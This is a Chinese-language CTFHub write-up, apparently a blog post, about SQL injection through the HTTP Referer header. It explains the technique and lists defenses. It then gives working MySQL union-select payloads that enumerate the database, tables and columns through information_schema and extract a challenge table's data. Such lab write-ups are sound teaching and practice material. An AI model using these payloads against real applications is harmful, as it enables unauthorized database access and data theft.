CTFHub - Refer注入

目录

1. Refer注入原理

2. 防御

3. 注入流程

3.1 初始界面

3.2 判断注入方式、类型

3.3 判断回显位置

3.4 获取数据库 库名称

3.5 获取数据表 表名称

3.6 获取列名

3.7 获取数据


1. Refer注入原理

  1. Refer注入是一种利用HTTP头字段中的Referer(引荐者)信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
  2. Refer注入攻击的原理是通过篡改Referer字段中的值,将恶意的SQL代码插入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段,将恶意的SQL代码作为Referer值注入进去。

2. 防御

  1. 对于从Referer字段中提取的数据,始终进行充分的验证和过滤。
  2. 确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
  3. 使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
  4. 最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
  5. 在应用程序中实施访问控制和身份验证,限制用户对敏感数据和操作的访问。

3. 注入流程

3.1 初始界面

        一开始通过bp 抓到的数据包是没有Refer字段的。如下图。

        Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。       

        通俗的讲:需要向页面发送一个请求后,才会带上Reder字段。如下:第一二张图

3.2 判断注入方式、类型

        referer:1        页面存在回显,可以使用联合查询。

        referer:1'        页面不存在回显。

        referer:1 and 1=1        所以是True and True,结果还是True,页面存在回显。

        referer:1 and 1=2        所以是 True and False,结果还是False,页面不存在回显。可判断此处是数字型注入。

3.3 判断回显位置

        select 语句有几列那么需要输入几列。

        Sqli 中有两列,所以输入1和2,判断数字的回显位置。

3.4 获取数据库 库名称

        此处把第1列换成了version()版本号,2换成了database() 数据库名称

-1 union select version(),database()

3.5 获取数据表 表名称

        group_concat(列或表达式):函数将指定的列或表达式的值按照默认的逗号分隔符连接起来,并返回一个合并的字符串作为结果。

        information_schema:关系型数据库中,包括 MySQL、PostgreSQL等,存在一个系统数据库叫做 "information_schema",它存储了关于数据库中元数据(metadata)的信息。

        information_schema:是 information_schema 数据库中的一个表,用于存储关于数据库中所有表的信息,例:表名、所属数据库、表类型、创建时间等。

        table_schema=database() :table_schema表示要筛选的表的模式(也就是数据库的名称),而database()是MySQL内置函数,返回当前连接的数据库名称。

-1 union select version(),group_concat(table_name)from information_schema.tables where table_schema=database()

3.6 获取列名

         table_name='vbqllcwzws' :选择表名为【vbqllcwzws】的表的数据。

-1 union select version(),group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='vbqllcwzws'

3.7 获取数据

-1 union select version(),ogkscutppt from vbqllcwzws

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值